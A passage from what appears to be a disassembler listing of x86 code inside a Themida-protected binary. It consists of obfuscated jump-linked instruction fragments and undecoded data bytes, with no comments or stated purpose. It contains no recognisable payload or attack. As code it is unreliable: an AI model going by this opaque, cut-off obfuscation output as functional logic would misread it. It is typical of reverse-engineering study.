		dd 0C8BCA89h, 4C48324h,	81243C8Bh, 4C4h, 0FFD60100h, 0E95A2434h
		dd 0FFFFA37Dh, 8108E3C1h, 0BE4C5EBh, 5BD829E4h,	0EC81C801h
		dd 4, 0BA241489h, 5F21613Bh, 595AD001h,	205h, 24048700h
		dd 6624248Bh, 5224148Bh, 0FEFD58E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5641BD:				; CODE XREF: Themida_:00561466j
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_562B2F
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 4312E924h, 0EF81FFFFh, 4,	0FFC8D8E9h, 5AD101FFh
		dd 4E981h, 0C330000h, 240C3124h, 1382E9h, 24148B00h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 335C243Ch, 5AE92404h, 1FFFF21h
		dd 24048BC6h, 4C481h, 34330000h, 24343124h, 0FF9BA6E9h
		dd 6DBA66FFh, 0EA816609h, 53553464h, 0E4D6866h,	241C8B66h
		dd 2C481h, 81660000h, 66F50EC3h, 665BDD89h, 0E717E945h
		dd 8FE9FFFEh, 8BFFFEC5h, 0C481243Ch, 4,	0FF1568E9h, 1CF766FFh
		dd 77E99C24h, 0BDFFFEC5h, 29552D87h, 0FF2A29E9h, 6CF4BFFFh
		dd 0FB010F1Ch, 0FFA17BE9h, 0C55CE9FFh, 8B66FFFEh, 0ACE92414h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56429B:				; CODE XREF: Themida_:0055ECF0j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	1BA4h
		mov	[esp], ebx
		jmp	loc_556484
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240483h,	4C5815Dh, 83000000h, 2C8704C5h
		dd 0C0835C24h, 74FF5004h, 48B0424h, 0FEBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5642FA:				; CODE XREF: Themida_:0055BEB9j
		not	dword ptr [esp]
		pop	edi


loc_5642FE:				; DATA XREF: Themida_:0053C6D0o
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5525CA
; ---------------------------------------------------------------------------
		dd 1DBFED81h, 0C581692Ch, 6A017FCBh, 0FF9DE4E9h, 243C8BFFh
		dd 5A04C483h, 0FF731DE9h, 0E38953FFh, 8904EC83h, 0E956242Ch
		dd 0FFFFE478h, 0ED81FD01h, 68554DE9h, 0FF32FCE9h, 0C8758FFh
		dd 34875C24h, 0DFE2E924h, 0C481FFFEh, 4, 1B2F8B68h, 0F9315955h
		dd 133CE9h, 0B60F6600h,	74686602h, 4896676h, 0C478E924h
		dd 8759FFFEh, 248B241Ch, 0B30F6624h, 0E99C2404h, 0FFFEC466h
		dd 0C102E2C1h, 685707EAh, 1456h, 0BE243489h, 5447A5Bh
		dd 24048156h, 6F8016Dh,	5572E95Fh, 0F828FFFFh, 4D8285Bh
		dd 5BCA049Ch, 51FCC380h, 0FF6216E9h, 242C31FFh,	5C242C33h
		dd 81E38953h, 4C3h, 0E78BE900h,	0D25FFFFh, 533CA173h, 47797BBBh
		dd 837FE952h, 0D8BAFFFFh, 29567C27h, 7A9CE9D7h,	14F7FFFFh
		dd 0D5F6E924h, 2966FFFEh, 0E9575EF0h, 0FFFFB26Ah, 2BB53h
		dd 0EC830000h, 241C8904h, 0CC199EBBh, 5BDE015Bh, 0EE81DE01h
		dd 5BCC199Eh, 2434335Bh, 0FFC08BE9h, 0E95653FFh, 0FFFF666Eh
		dd 24048F5Ah, 0E9C5015Ch, 0FFFFF630h, 0F9BBB53h, 92BD04B8h
		dd 31E19807h, 0D2E95BDDh, 5FFFFF7Bh, 81E38953h,	4C3h, 4BE5600h
		dd 1000000h, 5397E9F3h,	0D968FFFFh, 89000034h, 0A168240Ch
		dd 5400003Bh, 6824048Fh, 2BF1h,	0BE243489h, 4, 4247401h
		dd 0FF591DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564489:				; CODE XREF: Themida_:00554288j
		push	edx
		pop	esi
		pop	edx
		sub	esi, 34FD1E02h
		jmp	loc_55DF6C
; ---------------------------------------------------------------------------
		db 68h
		dd 7854h, 0FECDBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5644A1:				; CODE XREF: Themida_:00552D11j
		push	3EAF358Ah
		pop	esi
		push	ebx
		jmp	loc_552680
; ---------------------------------------------------------------------------
		db 56h,	89h, 0DEh
		dd 0FF3A69E9h, 396851FFh, 0E9584B70h, 0FFFF74B8h, 34FFDA01h
		dd 241C8B24h, 0E9E08950h, 0FFFF1968h, 8124148Bh, 4C4h
		dd 4BE5600h, 1000000h, 24348BF2h, 0FF2D0BE9h, 0E95E66FFh
		dd 0FFFF9C7Bh, 0FB027005h, 2DF8296Ch, 6CFB0270h, 8BC2315Fh
		dd 0C4812404h, 4, 7041EE81h, 0D629222Bh, 7041C681h, 148B222Bh
		dd 0C4F2E924h, 0E95FFFFEh, 0FFFEEA8Eh
; ---------------------------------------------------------------------------


loc_564524:				; CODE XREF: Themida_:00556D35j
		push	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55FA6E
; ---------------------------------------------------------------------------
		db 2Dh
		dd 7A6A7F25h, 0FFFB8DE9h, 2E0C1FFh, 0C106E0C1h,	68E903E8h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56454B:				; CODE XREF: Themida_:00559A26j
		add	eax, 60E006D6h
		jmp	loc_556365
; ---------------------------------------------------------------------------
aKmS@		db 'KM^@',0Bh,0
		dw 8100h
		dd 756E0DC6h, 0DB85041h, 0E92DA230h, 0FFFF109Fh
; ---------------------------------------------------------------------------


loc_564570:				; CODE XREF: Themida_:005537BDj
		pop	esi
		push	ebp
		jmp	loc_555BA1
; ---------------------------------------------------------------------------
		db 81h
		dd 615AA1C6h, 7C39E97Ch, 74FFFFFFh, 8F5A0424h, 685C2404h
		dd 37F3h, 54240489h, 40558h, 0A1680000h, 8900005Ch, 45E9241Ch
		dd 87FFFF75h, 248B2434h, 0AB0F6624h, 0E99C2404h, 0FFFEC236h
		dd 74B6C581h, 0B850720Dh, 55787916h, 0C36A432Dh, 7FFB052Fh
		dd 5401461h, 3CCA60F9h,	0D68D7E35h, 42C58140h, 152FC65h
		dd 42ED81C5h, 5852FC65h, 0FFD150E9h, 0F5E955FFh, 68FFFF88h
		dd 3644h, 83241C89h, 0DFE904ECh, 8BFFFF2Ch, 22E9240Ch
		dd 68FFFF74h, 5127h, 0E9241C89h, 0ADEh,	89240489h, 405E0h
		dd 0E8830000h, 2487E904h, 0E1C0FFFFh, 0F868E907h, 0DC86FFFFh
		dd 0C380E386h, 0C8F38001h, 889FEB80h, 2434FFD8h, 83241C8Bh
		dd 895304C4h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 3CBDE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564662:				; CODE XREF: Themida_:0055BA28j
		dec	esi
		jmp	loc_561D30
; ---------------------------------------------------------------------------


loc_564668:				; CODE XREF: Themida_:00557CB5j
		add	eax, 4E36527h
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 417779C4h
		and	edx, 1B5B3539h
		shr	edx, 1
		shl	edx, 3
		inc	edx
		add	edx, 4C649F9h
		mov	ebp, edx
		jmp	loc_56146B
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 59042474h, 0FEC31CE9h, 1D60BFFFh, 0BF572DFAh, 0D221F47h
		dd 0E95FF989h, 0FFFFAAA3h, 3C0471B7h, 3C2CF800h, 2848045Bh
		dd 53482CF0h, 0C380A8B3h, 80DBF6C7h, 0C3809EC3h, 0A430E93Bh
		dd 0F381FFFFh, 2E0376B7h, 242C8153h, 3AD05312h,	0A96EE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5646EA:				; CODE XREF: Themida_:0055D869j
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		jmp	loc_5558DC
; ---------------------------------------------------------------------------


loc_5646F5:				; CODE XREF: Themida_:005591FFj
		add	ebp, 4
		sub	esp, 4
		jmp	loc_557995
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2, 815DE901h, 4ECh, 240C8900h, 0FFCB66E9h, 50DD2DFFh
		dd 0C13115F5h, 0FCE98158h, 143202Dh, 0B7A0E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56472E:				; CODE XREF: Themida_:0055C644j
		push	19447C24h
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 67D232B6h
		and	ebx, 798A2604h
		xor	ebx, 102D9FFh
		mov	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5518E6
; ---------------------------------------------------------------------------
		db 9
		dd 0E68158C6h, 79735022h, 0FF75E7E9h, 0E8868FFh, 815E5882h
		dd 6F2A9CF6h, 81464664h, 12DFEAC6h, 5E5A56C3h, 8B1C5709h
		dd 89502414h, 405E0h, 56550000h, 0E727FBEh, 0D9CAE94Ch
		dd 815EFFFFh, 2C7h, 243C3300h, 33243C31h, 248B243Ch, 0CFF6624h
		dd 37E99C24h, 0E9FFFEC0h, 0FFFEC032h, 4C481h, 0ACE90000h
		dd 0BFFFFFE5h, 2, 4D5DED81h, 0FD014EB0h, 4D5DC581h, 34FF4EB0h
		dd 243C8B24h, 0FEC552E9h, 0BA905FFh, 74E9120Dh,	28FFFEEFh
		dd 48A2404h, 0D0D7E924h, 0B850FFFFh, 67770086h,	716BA525h
		dd 4AA8E925h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56480A:				; CODE XREF: Themida_:00554043j
		mov	ah, 73h
		jmp	loc_55DA2D
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 21h
		dd 8BFFFFD6h, 89562434h, 24F7E9E6h, 2C8BFFFFh, 4C48124h
		dd 8F000000h, 0E95C2404h, 0FFFFC4A8h, 0CA0090B1h, 94E95359h
		dd 8FFFFFB3h, 0E95C2404h, 0FFFF1D4Dh, 1620BA52h, 82E96F51h
		dd 29FFFF9Eh, 88E9241Ch, 5AFFFFAFh, 0FF4421E9h,	0C4C281FFh
		dd 0E92CE973h, 715h, 2BFh, 1DE98100h, 817F1735h, 514A1EE9h
		dd 81F9013Bh, 514A1EC1h, 1DC1813Bh, 0FF7F1735h,	835F2434h
		dd 0C8704C4h, 53515C24h, 0C3815B54h, 4,	4EC8355h, 0B9240C89h
		dd 2FF3EA4h, 6465C981h,	0E9C1740Eh, 81D9F708h, 0E908F8F1h
		dd 23C1815Fh, 81468E09h, 0EE1199E9h, 8E91E9E6h,	0EF01FFFFh
		dd 6371C781h, 6CE959B5h, 4FFFF2Fh, 286D2CE5h, 2C6D04D8h
		dd 0E9092CE5h, 0FFFFD017h, 4C181h, 0AEE90000h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5648F7:				; CODE XREF: Themida_:0055CEB8j
		add	ecx, ebp
		add	ecx, 759946A9h
		jmp	loc_559B35
; ---------------------------------------------------------------------------


loc_564904:				; CODE XREF: Themida_:0055588Fj
		push	edx
		jmp	loc_55946E
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 40550DEEh, 0FFC82CE9h, 4EC81FFh, 89000000h, 0B966240Ch
		dd 0E9522C31h, 0FFFF4F6Bh, 0C8294A05h, 2DD0011Ah, 1AC8294Ah
		dd 5A2434FFh, 8704C483h, 248B2404h, 4EC8124h, 89000000h
		dd 0BF572404h, 1Ch, 3C8BF889h, 4C48324h, 86685653h, 0E951D148h
		dd 0FFFEBF4Dh, 79F3814Bh, 89680D3Ch, 0BE565BD8h, 5B1D38A3h
		dd 0FFD011E9h, 0C28159FFh, 2, 27EA68h, 24148900h, 42474FFh
		dd 8B2434FFh, 0C4812414h, 4, 3B6F68h, 0A524E900h, 895CFFFFh
		dd 56BE2434h, 565F082Ch, 0E9241C8Bh, 0FFFEC8D0h, 8324148Bh
		dd 18804C4h, 0FEDF3AE9h, 240C8BFFh, 0E9E68956h,	0FFFFB740h
; ---------------------------------------------------------------------------


loc_5649CC:				; CODE XREF: Themida_:0055F4FEj
		add	esi, ecx
		push	ecx
		mov	ecx, 7830535Fh
		add	esi, ecx
		jmp	loc_553EAD
; ---------------------------------------------------------------------------
a?h@		db '?h@',0
		align 2
		dw 1489h
		dd 80F5B224h, 0C2FEE3F2h, 0CA80D2F6h, 0C653E963h, 8B66FFFFh
		dd 8956240Ch, 24BD55E6h, 815AF13Bh, 0E275FBEDh,	0C76BE974h
		dd 2C8BFFFEh, 4C48324h,	0FEBDD5E9h, 132C5CFFh, 3FE9D028h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A23:				; CODE XREF: Themida_:0055F152j
		pop	ecx
		jmp	loc_559602
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0B951E689h, 4, 0E959CE01h, 0FFFF9DB8h, 9CAC281h, 16E94273h
		dd 89FFFF5Bh, 468242Ch,	0E9000000h, 0FFFF6D81h,	1716E958h
		dd 0ADB9FFFFh, 0E978D343h, 0FFFFD778h, 0C5E9D501h, 81000007h
		dd 4C2h, 4C28300h, 5C241487h, 0FFD360E9h, 81EE01FFh, 0A425CDEEh
		dd 242C8B29h, 8704C483h, 248B2434h, 24043024h, 0BD54E99Ch
		dd 0E2BBFFFEh, 31D02ADDh, 241C8BD8h, 4C481h, 30E90000h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564AAF:				; CODE XREF: Themida_:00550E71j
		mov	ebp, 0E569507Dh
		add	ecx, ebp
		jmp	loc_551D84
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5D2CD800h, 482D68h, 24148900h, 0B45081B6h, 0AD4FE933h
		dd 685BFFFFh, 5DD0h, 0E9241C89h, 0FFFF959Eh, 24148B66h
		dd 5202C483h, 0D788C288h, 8124148Bh, 4C4h, 0F8305800h
		dd 5B2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 29E474CCh
		jmp	loc_559CC5
; ---------------------------------------------------------------------------
		dw 415Fh
		dd 0FF34A4E9h, 0F1015DFFh, 740CC181h, 0E98174DAh, 250E098Dh
		dd 0FFE02AE9h, 6E2C0FFh, 0FFAD8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564B2D:				; CODE XREF: Themida_:00554112j
		mov	esp, [esp]
		jmp	loc_55A514
; ---------------------------------------------------------------------------
		db 0BFh, 73h, 79h
		dd 0E781315Eh, 765F6A5Eh, 0FFD6B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564B45:				; CODE XREF: Themida_:00555870j
		and	eax, ecx
		pop	ecx
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_55FA28
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0BC94E924h, 2DBDFFFEh, 0E94D9E01h, 0FFFFCEA5h, 81240C8Bh
		dd 4C4h, 0BCD3E900h, 0C483FFFEh, 5EFC104h, 8105EFC1h, 3B20A2E7h
		dd 3DF7810Fh, 31FE6B18h, 0D5015FFAh, 0FED165E9h, 5B951FFh
		dd 81104E58h, 0A26739C9h, 46E9494Bh, 50FFFF00h,	8904EC83h
		dd 0EA682414h, 8900002Eh, 0E7E9240Ch, 56FFFFC4h, 64242C81h
		dd 586AE774h, 0E7746405h, 8D055E6Ah, 0C1092C52h, 3DE906E0h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564BD3:				; CODE XREF: Themida_:0055EE85j
		pop	edi
		push	esi
		jmp	loc_55591D
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0E9CB002Ah, 7CFh
; ---------------------------------------------------------------------------


loc_564BE4:				; CODE XREF: Themida_:00555A04j
		pop	edi
		jmp	loc_55FBFA
; ---------------------------------------------------------------------------


loc_564BEA:				; CODE XREF: Themida_:00560FD9j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_565578
; ---------------------------------------------------------------------------
		db 59h,	5Bh, 0C1h
		dd 0F74106E1h, 0EF41E9D1h, 0E958FFFFh, 651h, 0BF5EE959h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564C0E:				; CODE XREF: Themida_:0055B252j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_55491F
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 31240433h, 4332404h,	0C335C24h, 240C3124h
		dd 0E9240C33h, 0FFFFE75Fh
; ---------------------------------------------------------------------------


loc_564C40:				; CODE XREF: Themida_:00552A9Cj
		xor	ebp, 74490065h
		add	eax, 464A1A46h
		add	eax, ebp
		jmp	loc_55DDA2
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241C89h, 0FFFFFF95h
; ---------------------------------------------------------------------------


loc_564C60:				; CODE XREF: Themida_:00555053j
		add	edi, 0AD89EE91h
		mov	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_558F02
; ---------------------------------------------------------------------------
		db 5Dh
		dd 31241C33h, 1C33241Ch, 24248B24h, 68C8B60Fh, 1266h, 0FF6201E9h
		dd 63F281FFh, 0E926FB15h, 0FFFEE78Fh, 6604C483h, 8300B60Fh
		dd 3C8904ECh, 7CE95424h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CAF:				; CODE XREF: Themida_:005542D1j
		add	cl, ah
		sub	cl, 75h
		pop	eax
		or	cl, 5Fh
		shr	cl, 5
		jmp	loc_55C131
; ---------------------------------------------------------------------------


loc_564CC0:				; CODE XREF: Themida_:005631FCj
		inc	ebx
		sub	ebx, 0FFFFFFFFh
		shl	ebx, 4
		inc	ebx
		xor	ebx, 5B914375h
		jmp	loc_551561
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 1D5FE957h,	0FE89FFFFh, 0FEFEDBE9h,	240C33FFh
		dd 33240C31h, 248B240Ch, 240CD324h, 0BAF0E99Ch,	0EC83FFFEh
		dd 24048904h, 39F8BD55h, 68575A38h, 5D4408C2h, 17F7815Fh
		dd 8162D17Eh, 1B27B9C7h, 0CDBB535Ch, 0E98AF1FCh, 0FFFFA573h
		dd 4C681h, 0C6810000h, 4, 0FFE505E9h, 5AD529FFh, 0FF7850E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564D41:				; CODE XREF: Themida_:00552ABBj
		xchg	eax, [esp]
		pop	esp
		or	ecx, 61461D01h
		or	ecx, 24090086h
		push	esi
		mov	esi, 76C52DAFh
		jmp	loc_55455B
; ---------------------------------------------------------------------------
		dd 52E9CB01h, 59FFFF62h, 32C4E952h, 0C281FFFFh,	4, 403568h
		dd 24048900h, 0FF21B8E9h, 2434FFFFh, 4C4835Dh, 0FEC41CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564D89:				; CODE XREF: Themida_:00562397j
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	esp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_550E82
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4C581h, 0B9510000h, 2FA42E86h, 0FEEDDCE9h
		dd 0D0EB80FFh, 0F380CBFEh, 37E9E9D3h, 24BDFFFFh, 0E961FC3Ch
		dd 0FFFF1FF0h, 335AD701h, 3C31243Ch, 243C3324h,	6824248Bh
		dd 6E6Dh, 68242C89h, 52206E05h,	0E9242C8Bh, 0FFFFCE72h
		dd 0E904EC83h, 0FFFF14EBh, 900E9C1h, 0EB840FC0h, 68FFFEE8h
		dd 28FDh, 8B241C89h, 0EC832404h, 24048904h, 24048B54h
		dd 0FFE176E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564E41:				; CODE XREF: Themida_:00554E84j
		push	ecx
		push	edx
		mov	dl, 4Dh
		mov	cl, dl
		jmp	loc_551C31
; ---------------------------------------------------------------------------
		dd 365FC581h, 0C501692Eh, 0FF1931E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564E59:				; CODE XREF: Themida_:0055232Fj
		push	eax
		push	esp
		pop	eax
		push	ebp
		jmp	loc_55EC9E
; ---------------------------------------------------------------------------
		dw 0D131h
		dd 0FF1B69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564E69:				; CODE XREF: Themida_:00559501j
		pop	ebp
		add	edx, edi
		sub	edx, 46127983h
		jmp	loc_55C799
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFF555E9h, 0F8295BFFh, 0FF1ED8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564E85:				; CODE XREF: Themida_:0055349Bj
		mov	[esp], edx
		jmp	loc_55BFE1
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 2Ah
		dd 53FFFEEEh, 0FEFFACE9h, 503F2DFFh, 34FF755Ch,	9FE95F24h
		dd 59FFFED7h, 6FEE9h, 0E9565300h, 0FFFF736Ch, 159CD01h
		dd 0F9EE9D5h, 535AFFFFh, 4BBh, 5BDE2900h, 5C243487h, 89243489h
		dd 4F5DE9E6h, 0C781FFFFh, 4, 5C243C87h,	0FF41DCE9h, 56E680FFh
		dd 0E908EEC0h, 0FFFFCAF9h, 4EC81h, 8DE90000h, 57FFFFBAh
		dd 0E904EC83h, 0FFFFC01Dh
; ---------------------------------------------------------------------------


loc_564F04:				; CODE XREF: Themida_:00561572j
		xor	edx, 38331282h
		sub	ebx, 7BE95EF3h
		sub	ebx, edx
		add	ebx, 7BE95EF3h
		jmp	loc_55150E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8B2434FFh, 0C4832404h, 4C48104h, 68000000h, 6290h, 0FEBA3CE9h
		dd 240C8BFFh, 317468h, 5405E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F46:				; CODE XREF: Themida_:005513B6j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_563E46
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEB88Eh, 4C681h, 0EE830000h, 24348704h, 8924248Bh
		dd 0E8BF243Ch, 513186Ah, 0D374069h, 0FF5C76E9h,	81DAF7FFh
		dd 0D94CFCF2h, 1DC2817Bh, 89C98349h, 0E1C15AD1h, 34C9E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F9A:				; CODE XREF: Themida_:00559B55j
		sub	esp, 4
		jmp	loc_555B6F
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BB241C89h, 755C503Fh, 304CDE05h, 0E9D8016Dh, 0FFFED1ADh
		dd 0C580DDF6h, 8BEE30D9h, 0C481240Ch, 4, 531BB151h, 0DBF6CB88h
		dd 0D0E9D988h
		db 0B8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564FDB:				; CODE XREF: Themida_:00563C5Ej
		add	dh, ah
		pop	eax
		sub	dh, al
		sub	dh, 82h
		mov	ax, [esp]
		jmp	loc_55CC8A
; ---------------------------------------------------------------------------
		dd 4EC835Bh, 0E9241C89h, 0FFFFF6BCh, 24048B66h,	815D5455h
		dd 4C5h, 4ED8300h, 390768h, 242C8900h, 42474FFh, 24048F5Dh
		dd 5BCCE95Ch, 48BFFFFh,	4C48324h, 8103E3C1h, 0F73115C3h
		dd 5EBC153h, 0FE9CC381h, 0FBE9FF6Bh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56503B:				; CODE XREF: Themida_:005611BBj
		mov	ebx, edi
		pop	edi
		dec	ebx
		xor	ebx, 35603B48h
		sub	edx, ebx
		pop	ebx
		jmp	loc_550BCF
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 5Bh
		dd 0FF1976E9h, 24148BFFh, 5204C483h, 0C281E289h, 4, 4C281h
		dd 0FF520000h, 5A042474h, 0FF1868E9h, 0E9D6F7FFh, 0FFFFDDFDh
		dd 81FFC783h, 0F7B7E4F7h, 1D392D15h, 0F8292A3Dh, 3D1D3905h
		dd 0D0015F2Ah, 3411BE05h, 27E95A36h, 31FFFED4h,	3CFE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5650A6:				; CODE XREF: Themida_:00562267j
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5656C6
; ---------------------------------------------------------------------------
		dw 18BFh
		dd 0E97EA51Eh, 0FFFF2D10h
; ---------------------------------------------------------------------------


loc_5650C4:				; CODE XREF: Themida_:0055FFBBj
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, esp
		jmp	loc_561BC5
; ---------------------------------------------------------------------------
		dd 815BDF29h, 6F331BC7h, 81F7011Bh, 6F331BEFh, 0CD15E91Bh
		dd 0B551FFFFh, 0E6BAE925h, 0E955FFFFh, 0FFFFB502h, 515DEE31h
		dd 0FF2D1CE9h, 242489FFh, 4240481h, 8F000000h, 13682404h
		dd 8900006Fh, 0B9512414h, 6C6B1448h, 3BB5E957h,	5F5EFFFFh
		dd 0FED1AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565135:				; CODE XREF: Themida_:00552718j
		mov	eax, 6C9F27F1h
		add	eax, 297745FFh
		xor	eax, 0BA9F3091h
		or	ebp, eax
		pop	eax
		not	ebp
		xor	ebp, 0C162A290h
		mov	esi, ebp
		pop	ebp
		add	ecx, esi
		pop	esi
		push	edi
		mov	edi, 28F863AEh
		jmp	loc_55C453
; ---------------------------------------------------------------------------


loc_565160:				; CODE XREF: Themida_:00551CC7j
		add	esp, 4
		push	ecx
		mov	ch, 31h
		add	ch, 37h
		not	ch
		jmp	loc_55608E
; ---------------------------------------------------------------------------


loc_565170:				; CODE XREF: Themida_:00552382j
		not	byte ptr [esp+1]
		pop	dx
		jmp	loc_55AF48
; ---------------------------------------------------------------------------


loc_56517B:				; CODE XREF: Themida_:0055CE42j
		sub	eax, 11F032FCh
		mov	edx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55ABCD
; ---------------------------------------------------------------------------
		dd offset dword_59EF28
		db 0F8h
		dd 0FFFE4BE9h, 6EC181FFh, 0E9281929h, 0FFFEFA23h, 374D68h
		dd 24048900h, 42474FFh,	5124048Bh, 0C181E189h, 4, 8704C183h
		dd 8F5C240Ch, 248B2404h, 0FAC6E924h, 34FFFFFFh,	2434FF24h
		dd 4C48358h, 0FF4C6CE9h, 52665AFFh, 0B2E0B050h,	8BC23030h
		dd 0C4812404h, 4, 0C7E9D328h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5651FF:				; CODE XREF: Themida_:00562342j
		or	dh, 93h
		xor	dh, 5Fh
		sub	ch, dh
		jmp	loc_560206
; ---------------------------------------------------------------------------
		dd 5B04C483h, 0FF97A1E9h, 4C381FFh, 87000000h, 815C241Ch
		dd 4ECh, 243C8900h, 0E904EC83h,	0FFFF8C5Ch, 8124148Bh
		dd 4C4h, 3E296800h, 14890000h, 4BA24h, 0C5810000h, 1FA0235Bh
		dd 0ED81D529h, 1FA0235Bh, 0FEBC90E9h, 39F02DFFh, 0BD2D6693h
		dd 2D6FCD01h, 0BDCC3B4h, 0B1E9C201h, 52FFFF42h,	32AACBAh
		dd 5AD58973h, 2AA8ED81h, 0E8017303h, 4055Dh, 4870000h
		dd 24248B24h, 72CD68h, 6FC3E900h, 0A8BFFFFh, 6275685Ah
		dd 2C890000h, 40685724h, 8B000000h, 0C481243Ch,	4, 34FFFD89h
		dd 89505F24h, 405E0h, 0B9510000h, 4, 0FF6D4DE9h, 575E54FFh
		dd 4EC81h, 2C890000h, 326A6824h, 815D7774h, 0AD6D76CDh
		dd 0FFC58328h, 0F581D5F7h, 9334EF02h, 0FF8123E9h, 4C481FFh
		dd 53000000h, 8152E389h, 4ECh, 243C8900h, 0C8EEE950h, 0CE01FFFEh
		dd 3831BB53h, 0DE01433Fh, 0FF56595Bh, 0E9042474h, 0FFFF9E44h
		dd 5B2434FFh, 0FF5FEAE9h, 0F22958FFh, 5A61C281h, 815E46D1h
		dd 5167EFC2h, 81DA016Ah, 5167EFEAh, 31E9556Ah, 83FFFFE5h
		dd 148904ECh, 225FE924h, 97E9FFFFh, 5BFFFEB4h, 6D56C381h
		dd 0E9527ACCh, 0FFFFF1F1h, 0EF0B69BAh, 0C1C28133h, 0E93C551Bh
		dd 0FFFFFAEEh, 9C241CF6h, 0FEB471E9h, 240C31FFh, 0FFD8F1E9h
		dd 9C5166FFh, 0FEF3DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56538D:				; CODE XREF: Themida_:00555834j
		add	ebx, edx
		mov	edx, [esp]
		push	7DDDh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55D3CB
; ---------------------------------------------------------------------------
		db 5Ch
